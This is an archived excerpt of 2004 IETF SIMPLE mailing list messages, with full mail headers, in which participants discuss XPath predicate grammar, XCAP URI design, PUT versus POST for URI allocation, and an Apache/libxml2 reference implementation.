> 			| OrExpr 'or' AndExpr	
> [22]   	AndExpr	   ::=   	EqualityExpr	
> 			| AndExpr 'and' EqualityExpr	
> [23]   	EqualityExpr	   ::=   	RelationalExpr	
> 			| EqualityExpr '=' RelationalExpr	
> 			| EqualityExpr '!=' RelationalExpr	
> [24]   	RelationalExpr	   ::=   	AdditiveExpr	
> 			| RelationalExpr '<' AdditiveExpr	
> 			| RelationalExpr '>' AdditiveExpr	
> 			| RelationalExpr '<=' AdditiveExpr	
> 			| RelationalExpr '>=' AdditiveExpr	
> [25]   	AdditiveExpr	   ::=   	MultiplicativeExpr	
> 			| AdditiveExpr '+' MultiplicativeExpr	
> 			| AdditiveExpr '-' MultiplicativeExpr	
> [26]   	MultiplicativeExpr	   ::=   	UnaryExpr	
> 			| MultiplicativeExpr MultiplyOperator UnaryExpr	
> 			| MultiplicativeExpr 'div' UnaryExpr	
> 			| MultiplicativeExpr 'mod' UnaryExpr	
> [27]   	UnaryExpr	   ::=   	UnionExpr	
> 			| '-' UnaryExpr	
> [18]   	UnionExpr	   ::=   	PathExpr	
> 			| UnionExpr '|' PathExpr	
> [19]   	PathExpr	   ::=   	LocationPath	
> 			| FilterExpr	
> 			| FilterExpr '/' RelativeLocationPath	
> 			| FilterExpr '//' RelativeLocationPath	
> [20]   	FilterExpr	   ::=   	PrimaryExpr	
> 			| FilterExpr Predicate	
> [15]   	PrimaryExpr	   ::=   	VariableReference	
> 			| '(' Expr ')'	
> 			| Literal	
> 			| Number	
> 			| FunctionCall	
> 
> following this chain of grammar, I concluded that I could have a 
> predicate that was an OrExpr, which is an AndExpr, which is an 
> EqualityExpr, which is a RelationalExpr, which is an AdditiveExpr, which 
> is a MultiplicativeExpr, which is a UnaryExpr, which is a UnionExpr, 
> which can be a series of PathExpr separated  by '|', and PathExpr can be 
> a FilterExpr which can be a PrimaryExpr, which can be a Number. Thus, 
> the predicate 1|2|3 seemed allowed.
> 
> What am I missing??
> 
> 
As can be seen ;) these specs are so nice, simple and easy to
interpret... I must confess that I haven't payed much attention to this
grammar. However, the problem isn't actually just syntactic (so the
syntax you propose is IMO right) but more semantic. When conditions are
added to test location paths, the result of condition should be of type
boolean and of course to pass the test it should be true, so in this
particular case, what is the result of union of 1, 2 and 3 ? IMO it is
just ~true (and this seems to be also the interpretation of the
xml-library that I usually utilize (libxml2). 

Furthermore, I could point e.g. to these two references which have IMO
good examples, how XPATH selections work (or should work?)

http://msdn.microsoft.com/library/default.asp?url=/library/en-us/xmlsdk/htm/xpath_syntax2_3prn.asp

http://www.w3schools.com/xpath/xpath_syntax.asp

In the latter you'll see union examples in "Selecting Several Paths"

> > 
> > /element[@attr="test"] | /element/test
> > 
> > The working solution is to use position() function and "or" logical
> > expression i.e.
> > 
> > /element[position()=1 or position()=2]
> > 
> > Secondly, you may have missed my earlier posting, where I proposed that
> > index could be added onto XPATH expression when one wants to insert new
> > item at a specific location i.e.
> > 
> > /element[@attr="test"][2]
> 
> It wasnt clear to me how this is allowed; the basic grammar for step is:
> 
> [4]   	Step	   ::=   	AxisSpecifier NodeTest Predicate*	
> [8]   	Predicate	   ::=   	'[' PredicateExpr ']'	
> 
> which would seem to rule out the above.
> Perhaps you could do it with:
> 
> /element[@attr="test" and position()=2]
> 
IMO this is the equivalent format that can also be used. I have always
read the grammar so that you can have many predicates which are
effectively anded together (look msdn ref and also works with libxml2)

> I'll also note that I found xpath confusing with regards to the 
> definition of the position() function. It says:
> 
> The position function returns a number equal to the context position 
> from the expression evaluation context.
> 
> However, I could find no formal definition of the context position. Its 
> not in InfoSet either.
> 
> 
> 
> > 
> > which says that you want to insert new item as second item and whose
> > attr="test" (assuming of course that you have already many elements and
> > the selection uniquely identifies the new item). As the selection
> > results as zeros nodes (does not exist yet) then you know that you want
> > to add this item and you effectively have to insert this new item
> > between the original first and second item. And certainly you can get
> > the same data with the same query afterwards.
> 
> This sounds right. You'd need to have the constraint that the attribute 
> is different compared to the element at the specific location, assuming 
> the element has the same name as the one to be inserted. Not a bit 
> constraint.
> 
> > 
> > I'll admit that I am not aware of use-cases for this but IMO the logic
> > is so simple that it could be allowed.
> 
> What came up during the tutorial session was, if you wanted for the xcap 
> server to NOT need to understand the schemas for extensions, you would 
> need the client to make sure that the changed document was 
> schema-complaint. This would definitely require specifying exactly where 
> to insert an element. So, with this, we could in principal keep with the 
> idea that the server doesnt need to know the schema, though I'm not sure 
> we want to...
> 
> > 
> > Furthermore, when you give examples I would prefer that you give
> > absolute location paths instead of relative as that is the semantics in
> > XCAP currently.
> 
> OK, thanks.
> 
> > 
> > Btw. has anybody complained about the case how to detect file-part and
> > XPATH-query from each other ? 
> 
> No. I did point this out as a limitation with the "/" separator approach 
> however.
> 
> I could propose that an additional slash
> > would be added there i.e. http://example.com/file.xml//list. This would
> > help if XPATH-set in XCAP would be extended e.g. with anywhere test
> > "//".
> 
> Hmm. Thats interesting. It does appear to be a valid http URI according 
> to rfc2396; I wonder if intermediaries would possibly have heartburn 
> over it though? That was the big issue with using the query parameter "?".
> 
> -Jonathan R.
equally valid uri would be http://example.com/file.xml/./list. While the
current approach can be implemented e.g. by searching the last possible
au root node or searching through path step by step the "real" file (+
magic when new file should be created with put), I'll find the logic
explicitly ugly and the former query (or fragment) parameter was a lot
better in this respect. So I don't see this a must to be fixed, but
preferably it will be.

Thanks,
Jari


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Thu Mar 11 05:22:23 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA23498
	for <simple-archive@odin.ietf.org>; Thu, 11 Mar 2004 05:22:23 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B1NK7-00078e-5w
	for simple-archive@odin.ietf.org; Thu, 11 Mar 2004 05:21:55 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2BALs2X027434
	for simple-archive@odin.ietf.org; Thu, 11 Mar 2004 05:21:54 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B1NK4-00078O-Ft
	for simple-web-archive@optimus.ietf.org; Thu, 11 Mar 2004 05:21:52 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA23491
	for <simple-web-archive@ietf.org>; Thu, 11 Mar 2004 05:21:49 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1NK1-0002aZ-00
	for simple-web-archive@ietf.org; Thu, 11 Mar 2004 05:21:49 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B1NIw-0002PB-00
	for simple-web-archive@ietf.org; Thu, 11 Mar 2004 05:20:44 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1NIV-0002G5-00; Thu, 11 Mar 2004 05:20:15 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B1NIJ-0006zP-V0; Thu, 11 Mar 2004 05:20:03 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B1NHp-0006yB-1w
	for simple@optimus.ietf.org; Thu, 11 Mar 2004 05:19:33 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA23400
	for <simple@ietf.org>; Thu, 11 Mar 2004 05:19:29 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1NHl-0002Bw-00
	for simple@ietf.org; Thu, 11 Mar 2004 05:19:29 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B1NGr-00021E-00
	for simple@ietf.org; Thu, 11 Mar 2004 05:18:34 -0500
Received: from mgw-x4.nokia.com ([131.228.20.27])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1NFy-0001pr-00
	for simple@ietf.org; Thu, 11 Mar 2004 05:17:38 -0500
Received: from esdks004.ntc.nokia.com (esdks004.ntc.nokia.com [172.21.138.159])
	by mgw-x4.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i2BAHa414347;
	Thu, 11 Mar 2004 12:17:36 +0200 (EET)
X-Scanned: Thu, 11 Mar 2004 12:17:27 +0200 Nokia Message Protector V1.3.20 2004022613 - RELEASE
Received: (from root@localhost)
	by esdks004.ntc.nokia.com (8.12.9/8.12.9) id i2BAHRYS030756;
	Thu, 11 Mar 2004 12:17:27 +0200
Received: from mgw-int2.ntc.nokia.com (172.21.143.97)
	by esdks004.ntc.nokia.com 00BEJKUQ; Thu, 11 Mar 2004 12:17:25 EET
Received: from esebh002.NOE.Nokia.com (esebh002.ntc.nokia.com [172.21.138.77])
	by mgw-int2.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i2BAHJH24626;
	Thu, 11 Mar 2004 12:17:20 +0200 (EET)
Received: from mgw.research.nokia.com ([172.21.33.76]) by esebh002.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Thu, 11 Mar 2004 12:17:20 +0200
Received: from xitami.research.nokia.com (xitami.research.nokia.com [172.21.40.110])
	by mgw.research.nokia.com (8.9.3/8.9.3) with ESMTP id MAA28229;
	Thu, 11 Mar 2004 12:17:32 +0200 (EET)
From: Jari Urpalainen <Jari.Urpalainen@nokia.com>
To: ext Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Cc: simple@ietf.org
In-Reply-To: <40500CF0.1070906@dynamicsoft.com>
References: <1078390601.21131.72.camel@xitami.research.nokia.com>
	 <40500CF0.1070906@dynamicsoft.com>
Content-Type: text/plain
Message-Id: <1079000238.23502.345.camel@xitami.research.nokia.com>
Mime-Version: 1.0
X-Mailer: Ximian Evolution 1.4.5 
Content-Transfer-Encoding: 7bit
X-OriginalArrivalTime: 11 Mar 2004 10:17:20.0435 (UTC) FILETIME=[09AE5830:01C40752]
Content-Transfer-Encoding: 7bit
Subject: [Simple] Re: xcap multiple insertions
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Thu, 11 Mar 2004 12:17:18 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

On Thu, 2004-03-11 at 08:53, ext Jonathan Rosenberg wrote:
> Thanks for the comments. inline.
> 
> Jari Urpalainen wrote:
> 
> > Hi Jonathan !
> > 
> > I read your XCAP representation in Seoul and I'll have a few comments.
> > 
> > When selection multiple entries you can't use union "|" there. Union is
> > used to select multiple location paths like
> 
> Yes, I noticed that xml spy didnt seem to like these expressions, but 
> according to the spec at least they seemed ok. From the xpath spec:
> 
> [8]   	Predicate	   ::=   	'[' PredicateExpr ']'	
> [9]   	PredicateExpr	   ::=   	Expr	
> [14]   	Expr	   ::=   	OrExpr	
> [21]   	OrExpr	   ::=   	AndExpr	
> 			| OrExpr 'or' AndExpr	
> [22]   	AndExpr	   ::=   	EqualityExpr	
> 			| AndExpr 'and' EqualityExpr	
> [23]   	EqualityExpr	   ::=   	RelationalExpr	
> 			| EqualityExpr '=' RelationalExpr	
> 			| EqualityExpr '!=' RelationalExpr	
> [24]   	RelationalExpr	   ::=   	AdditiveExpr	
> 			| RelationalExpr '<' AdditiveExpr	
> 			| RelationalExpr '>' AdditiveExpr	
> 			| RelationalExpr '<=' AdditiveExpr	
> 			| RelationalExpr '>=' AdditiveExpr	
> [25]   	AdditiveExpr	   ::=   	MultiplicativeExpr	
> 			| AdditiveExpr '+' MultiplicativeExpr	
> 			| AdditiveExpr '-' MultiplicativeExpr	
> [26]   	MultiplicativeExpr	   ::=   	UnaryExpr	
> 			| MultiplicativeExpr MultiplyOperator UnaryExpr	
> 			| MultiplicativeExpr 'div' UnaryExpr	
> 			| MultiplicativeExpr 'mod' UnaryExpr	
> [27]   	UnaryExpr	   ::=   	UnionExpr	
> 			| '-' UnaryExpr	
> [18]   	UnionExpr	   ::=   	PathExpr	
> 			| UnionExpr '|' PathExpr	
> [19]   	PathExpr	   ::=   	LocationPath	
> 			| FilterExpr	
> 			| FilterExpr '/' RelativeLocationPath	
> 			| FilterExpr '//' RelativeLocationPath	
> [20]   	FilterExpr	   ::=   	PrimaryExpr	
> 			| FilterExpr Predicate	
> [15]   	PrimaryExpr	   ::=   	VariableReference	
> 			| '(' Expr ')'	
> 			| Literal	
> 			| Number	
> 			| FunctionCall	
> 
> following this chain of grammar, I concluded that I could have a 
> predicate that was an OrExpr, which is an AndExpr, which is an 
> EqualityExpr, which is a RelationalExpr, which is an AdditiveExpr, which 
> is a MultiplicativeExpr, which is a UnaryExpr, which is a UnionExpr, 
> which can be a series of PathExpr separated  by '|', and PathExpr can be 
> a FilterExpr which can be a PrimaryExpr, which can be a Number. Thus, 
> the predicate 1|2|3 seemed allowed.
> 
> What am I missing??
> 
> 
As can be seen ;) these specs are so nice, simple and easy to
interpret... I must confess that I haven't payed much attention to this
grammar. However, the problem isn't actually just syntactic (so the
syntax you propose is IMO right) but more semantic. When conditions are
added to test location paths, the result of condition should be of type
boolean and of course to pass the test it should be true, so in this
particular case, what is the result of union of 1, 2 and 3 ? IMO it is
just ~true (and this seems to be also the interpretation of the
xml-library that I usually utilize (libxml2). 

Furthermore, I could point e.g. to these two references which have IMO
good examples, how XPATH selections work (or should work?)

http://msdn.microsoft.com/library/default.asp?url=/library/en-us/xmlsdk/htm/xpath_syntax2_3prn.asp

http://www.w3schools.com/xpath/xpath_syntax.asp

In the latter you'll see union examples in "Selecting Several Paths"

> > 
> > /element[@attr="test"] | /element/test
> > 
> > The working solution is to use position() function and "or" logical
> > expression i.e.
> > 
> > /element[position()=1 or position()=2]
> > 
> > Secondly, you may have missed my earlier posting, where I proposed that
> > index could be added onto XPATH expression when one wants to insert new
> > item at a specific location i.e.
> > 
> > /element[@attr="test"][2]
> 
> It wasnt clear to me how this is allowed; the basic grammar for step is:
> 
> [4]   	Step	   ::=   	AxisSpecifier NodeTest Predicate*	
> [8]   	Predicate	   ::=   	'[' PredicateExpr ']'	
> 
> which would seem to rule out the above.
> Perhaps you could do it with:
> 
> /element[@attr="test" and position()=2]
> 
IMO this is the equivalent format that can also be used. I have always
read the grammar so that you can have many predicates which are
effectively anded together (look msdn ref and also works with libxml2)

> I'll also note that I found xpath confusing with regards to the 
> definition of the position() function. It says:
> 
> The position function returns a number equal to the context position 
> from the expression evaluation context.
> 
> However, I could find no formal definition of the context position. Its 
> not in InfoSet either.
> 
> 
> 
> > 
> > which says that you want to insert new item as second item and whose
> > attr="test" (assuming of course that you have already many elements and
> > the selection uniquely identifies the new item). As the selection
> > results as zeros nodes (does not exist yet) then you know that you want
> > to add this item and you effectively have to insert this new item
> > between the original first and second item. And certainly you can get
> > the same data with the same query afterwards.
> 
> This sounds right. You'd need to have the constraint that the attribute 
> is different compared to the element at the specific location, assuming 
> the element has the same name as the one to be inserted. Not a bit 
> constraint.
> 
> > 
> > I'll admit that I am not aware of use-cases for this but IMO the logic
> > is so simple that it could be allowed.
> 
> What came up during the tutorial session was, if you wanted for the xcap 
> server to NOT need to understand the schemas for extensions, you would 
> need the client to make sure that the changed document was 
> schema-complaint. This would definitely require specifying exactly where 
> to insert an element. So, with this, we could in principal keep with the 
> idea that the server doesnt need to know the schema, though I'm not sure 
> we want to...
> 
> > 
> > Furthermore, when you give examples I would prefer that you give
> > absolute location paths instead of relative as that is the semantics in
> > XCAP currently.
> 
> OK, thanks.
> 
> > 
> > Btw. has anybody complained about the case how to detect file-part and
> > XPATH-query from each other ? 
> 
> No. I did point this out as a limitation with the "/" separator approach 
> however.
> 
> I could propose that an additional slash
> > would be added there i.e. http://example.com/file.xml//list. This would
> > help if XPATH-set in XCAP would be extended e.g. with anywhere test
> > "//".
> 
> Hmm. Thats interesting. It does appear to be a valid http URI according 
> to rfc2396; I wonder if intermediaries would possibly have heartburn 
> over it though? That was the big issue with using the query parameter "?".
> 
> -Jonathan R.
equally valid uri would be http://example.com/file.xml/./list. While the
current approach can be implemented e.g. by searching the last possible
au root node or searching through path step by step the "real" file (+
magic when new file should be created with put), I'll find the logic
explicitly ugly and the former query (or fragment) parameter was a lot
better in this respect. So I don't see this a must to be fixed, but
preferably it will be.

Thanks,
Jari


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Thu Mar 11 07:50:30 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA29792
	for <simple-archive@ietf.org>; Thu, 11 Mar 2004 07:50:30 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1Pdv-0002gT-00
	for simple-archive@ietf.org; Thu, 11 Mar 2004 07:50:31 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B1Pd0-0002Yt-00
	for simple-archive@ietf.org; Thu, 11 Mar 2004 07:49:35 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1Pca-0002Rq-00; Thu, 11 Mar 2004 07:49:08 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B1PcT-0000lB-Mg; Thu, 11 Mar 2004 07:49:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B1Pc3-0000jR-RR
	for simple@optimus.ietf.org; Thu, 11 Mar 2004 07:48:35 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA29760
	for <simple@ietf.org>; Thu, 11 Mar 2004 07:48:34 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1Pc3-0002RF-00
	for simple@ietf.org; Thu, 11 Mar 2004 07:48:35 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B1Pb6-0002Jj-00
	for simple@ietf.org; Thu, 11 Mar 2004 07:47:37 -0500
Received: from mgw-x2.nokia.com ([131.228.20.22])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1PaQ-0002CD-00
	for simple@ietf.org; Thu, 11 Mar 2004 07:46:54 -0500
Received: from esdks002.ntc.nokia.com (esdks002.ntc.nokia.com [172.21.138.121])
	by mgw-x2.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i2BCkpp20993;
	Thu, 11 Mar 2004 14:46:51 +0200 (EET)
X-Scanned: Thu, 11 Mar 2004 14:45:04 +0200 Nokia Message Protector V1.3.20 2004022613 - RELEASE
Received: (from root@localhost)
	by esdks002.ntc.nokia.com (8.12.9/8.12.9) id i2BCj4vE013222;
	Thu, 11 Mar 2004 14:45:04 +0200
Received: from mgw-int1.ntc.nokia.com (172.21.143.96)
	by esdks002.ntc.nokia.com 008HKZlC; Thu, 11 Mar 2004 14:45:02 EET
Received: from esebh003.NOE.Nokia.com (esebh003.ntc.nokia.com [172.21.138.82])
	by mgw-int1.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i2BCix110297;
	Thu, 11 Mar 2004 14:44:59 +0200 (EET)
Received: from mgw.research.nokia.com ([172.21.33.76]) by esebh003.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Thu, 11 Mar 2004 14:44:55 +0200
Received: from xitami.research.nokia.com (xitami.research.nokia.com [172.21.40.110])
	by mgw.research.nokia.com (8.9.3/8.9.3) with ESMTP id OAA02038;
	Thu, 11 Mar 2004 14:45:08 +0200 (EET)
Subject: Re: [Simple] PUT vs POST in XCAP
From: Jari Urpalainen <Jari.Urpalainen@nokia.com>
To: ext Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Cc: Dean Willis <dean.willis@softarmor.com>,
        "Niemi Aki (Nokia-M/Espoo)" <aki.niemi@nokia.com>, simple@ietf.org
In-Reply-To: <404FF318.2000302@dynamicsoft.com>
References: <4046A8FA.5000008@softarmor.com> <4046D26B.70408@nokia.com>
	 <404711F8.9080807@softarmor.com>  <404D7E68.8090304@dynamicsoft.com>
	 <1078829916.13856.49.camel@xitami.research.nokia.com>
	 <404FF318.2000302@dynamicsoft.com>
Content-Type: text/plain
Message-Id: <1079009094.23502.639.camel@xitami.research.nokia.com>
Mime-Version: 1.0
X-Mailer: Ximian Evolution 1.4.5 
Content-Transfer-Encoding: 7bit
X-OriginalArrivalTime: 11 Mar 2004 12:44:55.0682 (UTC) FILETIME=[A7D1CE20:01C40766]
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Thu, 11 Mar 2004 14:44:54 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.60
Content-Transfer-Encoding: 7bit

On Thu, 2004-03-11 at 07:03, ext Jonathan Rosenberg wrote:
> inline.
> 
> Jari Urpalainen wrote:
> 
> 
> > 
> >>A possible solution to this issue is to cleanly separate the URI 
> >>allocation from the manipulation. We could define a separate piece of 
> >>the protocol (POST based, perhaps), which has the server allocate the 
> >>URI to the client. Once allocated, the client would PUT the entire 
> >>document with that URI filled in. In this way, the data manipulation is 
> >>using PUT/DELETE and is separated from the server computation.
> >>
> >>This still requires two round trips to create a list. That seemed to 
> >>give people a LOT of heartburn, but I dont think its an optimization we 
> >>need to worry about that much. None of these operations are latency 
> >>sensitive; at least, not to the point where one round trip vs. two 
> >>really makes a difference. Furthermore, we are talkign only about the 
> >>creation of the list/conference, which is not likely to be that frequent 
> >>of an event. Thus, I dont see a bandwidth issue per se either.
> >>
> >>-Jonathan R.
> >>
> > 
> > This is probably the best way to go, at least it is better than the
> > current one.
> 
> Any other comments?
> 
One could also do this post? after the resource has been created so that
you'll reference to the resource and request for uri creation. The
response will include created uri's with corresponding xpath-references
(so the server will add them and will tell all the changes to client)

> >>>
> >>>I'm not an expert on Apache internals, although I have been building web 
> >>>sites with it for ten years or so. As I understand it, PUT requests are 
> >>>interpreted by the WebDAV module (or by the basic web posting module if 
> >>>you don't have the WebDAV module) and literally results in writing a 
> >>>file to the file system. Nothing gets "triggered" when this happens, no 
> >>>magic application gets invoked to go do things like assign a conference 
> >>>number and update the etag, or anything like that. The data just sits 
> >>>there in a file. To implement the current XCAP model, you'd have to 
> >>>write some magic filesystem-monitoring daemon that notices the file has 
> >>>changed, locks it, reads it, and writes it back with new etags. This 
> >>>makes for 1) a lot of polling the filesystem for changes, and 2) really 
> >>>wicked locking problems between writes-from-apache and 
> >>>writes-from-the-magic-daemon to the data. There's probably a more clever 
> >>>way to do it, but it's going to be moderately painful in any case.
> >>>
> > 
> > I have been writing an apache module to handle basic xcap-requests. In
> > practice, an apache module will get parsed requests (+payload) and the
> > module may respond however it wishes. It is not necessary that any
> > file-io will ever happen, however in xcap, it is of course desirable.
> > There are also other implementation difficulties that could be
> > elaborated here, but from the modules point of view, apache only
> > provides basic http transport and module has to take care of the all
> > "real" handling.
> 
> Can you comment on those implementation difficulties? If there are 
> aspects of the protocol that make it hard to implement, and some change 
> would help, I'd like to know that.
> 
> -Jonathan R.

Well, that's my goal...

I'll try to shortly sum up the current state of the implementation
status. First, the purpose is just to do a proof-of-concept reference
implementation. Secondly, implementation is done in linux with C with
the aid of libxml2-library aiming at a standalone server or an Apache
module. All the XML and XPATH handling is being done with libxml2. It
has also a schema checker which isn't adequate at the moment so Xerces
C++ library has been used instead.

In general with this background, I would say that the basic server
implementation with all XPATH interpretation is fairly easy to implement
and fairly performance-wise. What is not so easy and where not too much
attention (or at all?) has yet been, is this XCAP http-uri versus
sip-uri mapping in resource-lists concerned with list-subscriptions.
While XCAP server knows both endpoints it IMO should also keep track
that user won't define separate lists with the same sip-uri. Adding this
logic to the server was somewhat more complex. I have also some concerns
related to performance of schema validation which seems to easily drop
the throughput of requests. Secondly, all the au's will need some
interpretation of their own and I haven't yet started with presence
authorization.

The client side of implementation is/was probably even more challenging
as you have to interfere with http-client library and have to keep some
internal state information when doing updates to resources (and when
doing just partial updates which we are eagerly promoting).

Writing this reminded me of the thing that the base XCAP could have a
few words about If-None-Match -header with conditional GET so that a
client can get a simple sync with a single file. We'll also need the
directory-list still. Btw. I recently implemented this as a recursive
directory list so that you can get e.g. all the files at once for a user
simply by a query get http://xcap/resource-lists/users/joe and of course
going one path up you could get all files for all users (still wondering
whether separate au is needed...). The package will be needed still, I
think.

BR,
Jari


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Thu Mar 11 07:51:02 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA29816
	for <simple-archive@odin.ietf.org>; Thu, 11 Mar 2004 07:51:02 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B1Pdx-0000sv-5S
	for simple-archive@odin.ietf.org; Thu, 11 Mar 2004 07:50:33 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2BCoXTN003394
	for simple-archive@odin.ietf.org; Thu, 11 Mar 2004 07:50:33 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B1Pdw-0000se-L2
	for simple-web-archive@optimus.ietf.org; Thu, 11 Mar 2004 07:50:32 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA29807
	for <simple-web-archive@ietf.org>; Thu, 11 Mar 2004 07:50:31 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1Pdv-0002gY-00
	for simple-web-archive@ietf.org; Thu, 11 Mar 2004 07:50:31 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B1Pd2-0002Z0-00
	for simple-web-archive@ietf.org; Thu, 11 Mar 2004 07:49:37 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1Pca-0002Rq-00; Thu, 11 Mar 2004 07:49:08 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B1PcT-0000lB-Mg; Thu, 11 Mar 2004 07:49:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B1Pc3-0000jR-RR
	for simple@optimus.ietf.org; Thu, 11 Mar 2004 07:48:35 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA29760
	for <simple@ietf.org>; Thu, 11 Mar 2004 07:48:34 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1Pc3-0002RF-00
	for simple@ietf.org; Thu, 11 Mar 2004 07:48:35 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B1Pb6-0002Jj-00
	for simple@ietf.org; Thu, 11 Mar 2004 07:47:37 -0500
Received: from mgw-x2.nokia.com ([131.228.20.22])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1PaQ-0002CD-00
	for simple@ietf.org; Thu, 11 Mar 2004 07:46:54 -0500
Received: from esdks002.ntc.nokia.com (esdks002.ntc.nokia.com [172.21.138.121])
	by mgw-x2.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i2BCkpp20993;
	Thu, 11 Mar 2004 14:46:51 +0200 (EET)
